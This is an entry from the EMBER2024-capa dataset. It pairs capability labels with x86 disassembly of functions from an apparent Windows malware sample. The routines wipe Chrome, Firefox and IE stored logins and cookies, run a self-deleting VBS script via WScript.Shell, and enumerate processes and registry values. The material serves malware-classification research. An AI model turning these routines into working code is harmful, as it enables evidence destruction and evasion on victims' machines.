joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4045b3
Capabilities:
Delete file
Move file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x186ec
call fcn.004494a0
push ebx
push esi
mov esi, ecx
lea edx, [ebp + 0x10]
push edi
xorps xmm0, xmm0
mov dword [ebp - 0xc], esi
xor ebx, ebx
movlpd qword [ebp - 8], xmm0
push 0x458594
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x14], ebx
call fcn.004062d8
pop ecx
push eax
lea ecx, [ebp - 0x2c]
call fcn.00405c9d
lea ecx, [ebp - 0x44]
call fcn.004034ef
push ebx
push 0x80
push 2
push ebx
push ebx
push 4
lea ecx, [ebp - 0x2c]
call fcn.00404386
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 4], ecx
ja 0x40468d
mov edi, dword [ebp + 8]
jb 0x404627
cmp dword [ebp - 8], edi
jae 0x40468d
push ecx
push 0x186a0
lea eax, [ebp - 0x186e8]
mov ecx, esi
push eax
call fcn.004019aa
mov esi, eax
cdq
add dword [ebp - 8], eax
lea eax, [ebp - 0x14]
push ebx
adc dword [ebp - 4], edx
push eax
push esi
lea eax, [ebp - 0x186e8]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esp, 0x18
lea eax, [ebp - 8]
mov ecx, esp
push 8
push eax
call fcn.0040218f
mov ecx, dword [ebp - 0xc]
push 0x57
call fcn.004018d7
test esi, esi
jle 0x4046c7
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp - 0xc]
cmp dword [ebp - 4], eax
jb 0x404627
ja 0x40468a
cmp dword [ebp - 8], edi
jb 0x404627
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp + 0x10]
call fcn.00404386
push eax
lea ecx, [ebp - 0x2c]
call fcn.00404386
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov bl, 1
lea ecx, [ebp - 0x2c]
call fcn.004034ef
lea ecx, [ebp + 0x10]
call fcn.004034ef
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x2c]
call fcn.00404386
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x4046ae

Function at 0x4046e1
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push esi
push edi
mov esi, ecx
call fcn.004021b9
lea ecx, [ebp + 8]
call fcn.00402018
mov edi, eax
jmp 0x404768
push 0xa
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
push eax
call fcn.00436328
add esp, 0xc
lea eax, [ebp - 4]
lea ecx, [ebp - 0x4c]
push 0x2d
push eax
call fcn.00402168
mov ecx, eax
call fcn.00402018
push eax
mov edx, esi
lea ecx, [ebp - 0x34]
call fcn.00406340
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.00406384
pop ecx
push eax
mov ecx, esi
call fcn.0040208b
lea ecx, [ebp - 0x1c]
call fcn.00402081
lea ecx, [ebp - 0x34]
call fcn.00402081
lea ecx, [ebp - 0x4c]
call fcn.00402081
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc edi
add edi, eax
cmp byte [edi], 0
jne 0x4046fc
lea ecx, [ebp + 8]
call fcn.00402081
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x407672
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push str.AppDataLocalGoogleChromeUser_DataDefaultLogin_Data
push 0x458730
call fcn.00430f5d
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402168
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.0040631c
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00402081
lea ecx, [ebp - 0x18]
call fcn.00402018
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x4076d9
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
je 0x4076cd
sub eax, 1
je 0x4076cd
xor bl, bl
jmp 0x4076f2
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_StoredLogins_not_found_
jmp 0x4076e3
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_StoredLogins_found__cleared__
call fcn.00402168
call fcn.00407e15
mov bl, 1
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00402081
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x407701
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push str.AppDataLocalGoogleChromeUser_DataDefaultCookies
push 0x458730
call fcn.00430f5d
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402168
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.0040631c
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00402081
lea ecx, [ebp - 0x18]
call fcn.00402018
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x407768
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
je 0x40775c
sub eax, 1
je 0x40775c
xor bl, bl
jmp 0x407781
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_Cookies_not_found_
jmp 0x407772
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_Cookies_found__cleared__
call fcn.00402168
call fcn.00407e15
mov bl, 1
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00402081
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407790
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d4
lea ecx, [ebp - 0x60]
push esi
call fcn.004021b9
lea ecx, [ebp - 0x48]
call fcn.004021b9
lea ecx, [ebp - 0x18]
call fcn.004021b9
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x78]
call fcn.00402168
push eax
push 0x458730
call fcn.00430f5d
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00402a5d
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.0040208b
lea ecx, [ebp - 0x30]
call fcn.00402081
lea ecx, [ebp - 0x78]
call fcn.00402081
lea eax, [ebp - 0x1d0]
push eax
push 0x4586f0
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.00406340
pop ecx
mov ecx, eax
call fcn.00402018
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [ebp - 0x78]
mov esi, eax
call fcn.00402081
cmp esi, 0xffffffff
jne 0x407958
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_not_found_
call fcn.00402168
call fcn.00407e15
add esp, 0x18
jmp 0x40798c
test byte [ebp - 0x1d0], 0x10
je 0x407958
lea ecx, [ebp - 0x1a4]
cmp byte [ecx], 0x2e
jne 0x40786f
movzx eax, byte [ecx + 1]
test al, al
je 0x407958
lea edx, [ebp - 0x1a4]
xor ecx, ecx
movzx eax, byte [edx + ecx]
mov edx, 0x458850
cmp al, byte [edx + ecx]
lea edx, [ebp - 0x1a4]
jne 0x407895
inc ecx
cmp ecx, 3
jne 0x407877
xor eax, eax
jmp 0x40789a
sbb eax, eax
or eax, 1
test eax, eax
je 0x407958
lea eax, [ebp - 0x1a4]
push str.logins.json
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x90]
call fcn.00406340
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.0040631c
pop ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.0040208b
lea ecx, [ebp - 0x30]
call fcn.00402081
lea ecx, [ebp - 0x90]
call fcn.00402081
lea eax, [ebp - 0x1a4]
push str.key3.db
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x30]
call fcn.00406340
pop ecx
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.0040631c
pop ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.0040208b
lea ecx, [ebp - 0x90]
call fcn.00402081
lea ecx, [ebp - 0x30]
call fcn.00402081
lea ecx, [ebp - 0x60]
call fcn.00402018
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40793f
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [ebp - 0x48]
call fcn.00402018
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x407958
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 0x1d0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40784b
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_Cleared__
call fcn.00402168
call fcn.00407e15
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [ebp - 0x18]
call fcn.00402081
lea ecx, [ebp - 0x48]
call fcn.00402081
lea ecx, [ebp - 0x60]
call fcn.00402081
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4079ab
Capabilities:
Delete file
Enumerate files on windows
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b8
lea ecx, [ebp - 0x30]
push ebx
push esi
call fcn.004021b9
lea ecx, [ebp - 0x18]
call fcn.004021b9
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x60]
call fcn.00402168
push eax
push 0x458730
call fcn.00430f5d
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00402a5d
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.0040208b
lea ecx, [ebp - 0x48]
call fcn.00402081
lea ecx, [ebp - 0x60]
call fcn.00402081
lea eax, [ebp - 0x1b8]
push eax
push 0x4586f0
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x60]
call fcn.00406340
pop ecx
mov ecx, eax
call fcn.00402018
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.00402081
cmp esi, 0xffffffff
jne 0x407a5b
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.00402168
call fcn.00407e15
add esp, 0x18
jmp 0x407b55
lea eax, [ebp - 0x1b8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x407b37
xor ebx, ebx
test byte [ebp - 0x1b8], 0x10
je 0x407b21
lea ecx, [ebp - 0x18c]
cmp byte [ecx], 0x2e
jne 0x407a97
movzx eax, byte [ecx + 1]
test al, al
je 0x407b21
lea edx, [ebp - 0x18c]
mov ecx, ebx
movzx eax, byte [edx + ecx]
mov edx, 0x458850
cmp al, byte [edx + ecx]
lea edx, [ebp - 0x18c]
jne 0x407abd
inc ecx
cmp ecx, 3
jne 0x407a9f
mov eax, ebx
jmp 0x407ac2
sbb eax, eax
or eax, 1
test eax, eax
je 0x407b21
lea eax, [ebp - 0x18c]
push str.cookies.sqlite
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.00406340
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.0040631c
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.0040208b
lea ecx, [ebp - 0x48]
call fcn.00402081
lea ecx, [ebp - 0x78]
call fcn.00402081
lea ecx, [ebp - 0x30]
call fcn.00402018
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x407b78
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
jne 0x407b6f
lea eax, [ebp - 0x1b8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x407a73
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.00402168
call fcn.00407e15
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov bl, 1
lea ecx, [ebp - 0x18]
call fcn.00402081
lea ecx, [ebp - 0x30]
call fcn.00402081
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x407b57
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_cookies_found__cleared__
jmp 0x407a49
Function at 0x407b87
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
lea ecx, [ebp - 0x18]
push ebx
push esi
call fcn.004021b9
push ecx
push str.Cookies
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders
mov edx, connect
lea ecx, [ebp - 0x30]
xor bl, bl
call fcn.0040c526
add esp, 0xc
lea ecx, [ebp - 0x18]
push eax
call fcn.0040208b
lea ecx, [ebp - 0x30]
call fcn.00402081
mov edx, 0x458550
lea ecx, [ebp - 0x18]
call fcn.00403f73
test al, al
je 0x407bf4
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_not_found_
call fcn.00402168
call fcn.00407e15
mov bl, 1
jmp 0x407c92
push 0x104
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x18]
call fcn.00402018
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x407bd9
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x30]
call fcn.00402168
lea edx, [ebp - 0x30]
lea ecx, [ebp - 0x48]
call fcn.00412e4a
mov ecx, eax
call fcn.00404386
mov ecx, eax
call fcn.004131b7
lea ecx, [ebp - 0x48]
mov esi, eax
call fcn.004034ef
lea ecx, [ebp - 0x30]
call fcn.00402081
test esi, esi
je 0x407c6d
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_cleared__
jmp 0x407be3
push ecx
push 0x458968
call fcn.00407e21
test eax, eax
je 0x407c95
sub esp, 0x18
mov bl, 1
mov ecx, esp
push str._n_IE_cookies_cleared__
call fcn.00402168
call fcn.00407e15
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00402081
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x407df6
Capabilities:
Create thread

Disassembly:
xor eax, eax
push eax
push eax
push eax
push 0x407ca5
push eax
push eax
mov byte [0x464a72], al
mov dword [0x464a7c], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
ret
Function at 0x40855e
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c8
push esi
mov esi, 0x466ed8
push edi
mov ecx, esi
call fcn.00402010
push eax
mov ecx, esi
call fcn.00402018
push eax
mov esi, 0x208
lea eax, [ebp - 0x2c8]
push esi
push eax
push str.exepath
mov ecx, 0x466e90
call fcn.00402018
mov edx, eax
call fcn.0040c60c
add esp, 0x14
xor edi, edi
test al, al
jne 0x4085b9
push esi
lea eax, [ebp - 0x2c8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push str..vbs
lea ecx, [ebp - 0x48]
call fcn.00412bee
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00412e4a
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.004074d1
pop ecx
lea ecx, [ebp - 0x30]
call fcn.004034ef
lea ecx, [ebp - 0x48]
call fcn.00402081
lea eax, [ebp - 0x78]
push eax
push 0x458674
push 0x4589e0
call fcn.00430f52
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.004034f9
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.004074d1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.00408a18
pop ecx
lea ecx, [ebp - 0x48]
call fcn.004034ef
lea ecx, [ebp - 0x30]
call fcn.004034ef
lea ecx, [ebp - 0x18]
call fcn.00405cdd
push 0x458b88
push 0x458b8c
lea ecx, [ebp - 0xc0]
call fcn.004034f9
push eax
lea eax, [ebp - 0x2c8]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [ebp - 0xa8]
call fcn.004034f9
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.004074d1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.004089a2
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.004074d1
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00405c18
lea ecx, [ebp - 0x48]
call fcn.004034ef
lea ecx, [ebp - 0x30]
call fcn.004034ef
lea ecx, [ebp - 0x90]
call fcn.004034ef
lea ecx, [ebp - 0xa8]
call fcn.004034ef
lea ecx, [ebp - 0xc0]
call fcn.004034ef
push str.CreateObject__Scripting.FileSystemObject__.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x18]
call fcn.00405c0f
push ecx
lea ecx, [ebp - 0x60]
call fcn.00404386
push eax
lea ecx, [ebp - 0x18]
call fcn.00402010
mov esi, eax
lea ecx, [ebp - 0x18]
add esi, esi
call fcn.00404386
mov edx, esi
mov ecx, eax
call fcn.004133aa
pop ecx
pop ecx
test al, al
je 0x408724
push edi
mov eax, 0x4585e8
lea ecx, [ebp - 0x60]
push eax
push eax
call fcn.00404386
push eax
push 0x458578
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x408724
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x18]
call fcn.004034ef
lea ecx, [ebp - 0x60]
call fcn.004034ef
lea ecx, [ebp - 0x78]
call fcn.004034ef
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x409d3c
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x380
push esi
push edi
mov edi, ecx
call fcn.004021b9
call fcn.00413077
push 0
push 2
mov byte [0x466a18], al
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
je 0x409f1a
lea eax, [ebp - 0x380]
mov dword [ebp - 0x380], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x409efd
lea eax, [ebp - 0x35c]
push eax
lea ecx, [ebp - 0x18]
call fcn.004034f9
mov ecx, dword [ebp - 0x378]
push 0x458e90
call fcn.004130a5
movzx edx, al
lea ecx, [ebp - 0x150]
call fcn.00412d96
mov edx, dword [ebp - 0x378]
lea ecx, [ebp - 0x138]
push eax
push 0x458e94
call fcn.00412d96
mov edx, dword [ebp - 0x378]
lea ecx, [ebp - 0x120]
push eax
push 0x458e94
call fcn.004130db
mov edx, eax
lea ecx, [ebp - 0x108]
call fcn.00412f0c
push eax
push 0x458e94
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0xf0]
call fcn.00412f0c
push eax
mov edx, edi
lea ecx, [ebp - 0xd8]
call fcn.004062b4
pop ecx
mov edx, eax
lea ecx, [ebp - 0xc0]
call fcn.0040631c
pop ecx
mov edx, eax
lea ecx, [ebp - 0xa8]
call fcn.0040623e
pop ecx
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.0040631c
pop ecx
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.0040623e
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.0040631c
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.0040623e
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.0040631c
pop ecx
push eax
mov ecx, edi
call fcn.0040208b
lea ecx, [ebp - 0x30]
call fcn.00402081
lea ecx, [ebp - 0x48]
call fcn.00402081
lea ecx, [ebp - 0x60]
call fcn.00402081
lea ecx, [ebp - 0x78]
call fcn.00402081
lea ecx, [ebp - 0x90]
call fcn.00402081
lea ecx, [ebp - 0xa8]
call fcn.00402081
lea ecx, [ebp - 0xc0]
call fcn.00402081
lea ecx, [ebp - 0xd8]
call fcn.00402081
lea ecx, [ebp - 0xf0]
call fcn.00402081
lea ecx, [ebp - 0x108]
call fcn.00402081
lea ecx, [ebp - 0x120]
call fcn.004034ef
lea ecx, [ebp - 0x138]
call fcn.00402081
lea ecx, [ebp - 0x150]
call fcn.00402081
lea ecx, [ebp - 0x18]
call fcn.004034ef
lea eax, [ebp - 0x380]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x409d89
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40acbd
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2c
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
cmp dword [edi + 0x38], ebx
je 0x40adf3
cmp byte [edi + 0x3d], bl
je 0x40adf3
call fcn.00402a59
mov esi, eax
mov ecx, edi
mov eax, dword [edi]
push esi
call dword [eax + 0xc]
mov dword [esp + 0xc], eax
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x14]
mov dword [esp + 0x14], esi
push eax
call fcn.00408c79
pop ecx
pop ecx
test al, al
je 0x40ad12
xor al, al
jmp 0x40adf5
push ebx
push 8
lea ecx, [esp + 0x28]
call fcn.0040213e
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x28]
call fcn.00402304
mov ecx, eax
call fcn.00402caa
lea ecx, [esp + 0x24]
mov esi, eax
call fcn.00402010
add esi, eax
lea ecx, [esp + 0x24]
push esi
lea eax, [esp + 0x14]
push eax
call fcn.00402304
mov ecx, eax
call fcn.00402caa
mov ecx, dword [edi + 0x38]
push eax
lea eax, [edi + 0x40]
push eax
call fcn.0040902b
sub eax, ebx
je 0x40ad7a
sub eax, 1
je 0x40ad7d
dec eax
sub eax, 1
jne 0x40ade6
inc eax
jmp 0x40ade4
mov byte [edi + 0x3d], bl
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x24]
call fcn.00402304
mov ecx, eax
call fcn.00402caa
mov esi, dword [esp + 0x14]
sub esi, eax
je 0x40adc2
push dword [edi + 0x4c]
lea eax, [esp + 0x20]
push esi
push 1
push eax
lea ecx, [esp + 0x30]
call fcn.00402304
mov ecx, eax
call fcn.00402caa
push eax
call fcn.00432a74
add esp, 0x10
cmp esi, eax
jne 0x40ade2
cmp byte [edi + 0x3d], bl
je 0x40ade0
test esi, esi
jne 0x40ad1e
push ebx
push 8
lea ecx, [esp + 0x28]
call fcn.004061d4
jmp 0x40ad1e
mov bl, 1
mov al, bl
mov bl, al
lea ecx, [esp + 0x20]
call fcn.00402081
mov al, bl
jmp 0x40adf5
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40c4c9
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40c520
push esi
lea eax, [ebp - 8]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0xc]
push eax
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0x40c522
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x40c526
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
push esi
push edi
lea eax, [ebp - 4]
mov dword [ebp - 8], 0x400
push eax
push 0x20019
xor esi, esi
mov edi, ecx
push esi
push dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40c587
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x408]
push eax
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, edi
test esi, esi
jne 0x40c589
lea eax, [ebp - 0x408]
push eax
jmp 0x40c58e
mov ecx, edi
push 0x458550
call fcn.00402168
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x40c59b
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
mov edi, ecx
push eax
xor ecx, ecx
lea eax, [ebp - 8]
push ecx
push eax
push ecx
push dword [ebp + 8]
mov ebx, edx
mov dword [ebp - 4], ecx
push ebx
mov esi, 0x458550
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40c5fb
cmp dword [ebp - 4], eax
jbe 0x40c5fb
push dword [ebp - 4]
call fcn.00430cc6
push dword [ebp - 4]
mov esi, eax
push 0
push esi
call fcn.0042d620
add esp, 0x10
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 8]
push eax
push 0
push dword [ebp + 8]
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push esi
mov ecx, edi
call fcn.004034f9
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40c60c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
lea eax, [ebp - 8]
push esi
push eax
push 0x20019
xor esi, esi
push esi
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40c67c
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
push esi
push esi
push dword [ebp + 8]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 8]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x40c67c
push dword [ebp + 0x18]
lea ecx, [ebp - 0x40c]
push dword [ebp + 0x14]
call fcn.00403f80
push dword [ebp + 0x10]
lea ecx, [ebp - 0x40c]
push dword [ebp + 0xc]
call fcn.00404007
mov al, 1
jmp 0x40c67e
xor al, al
pop esi
mov esp, ebp
pop ebp
ret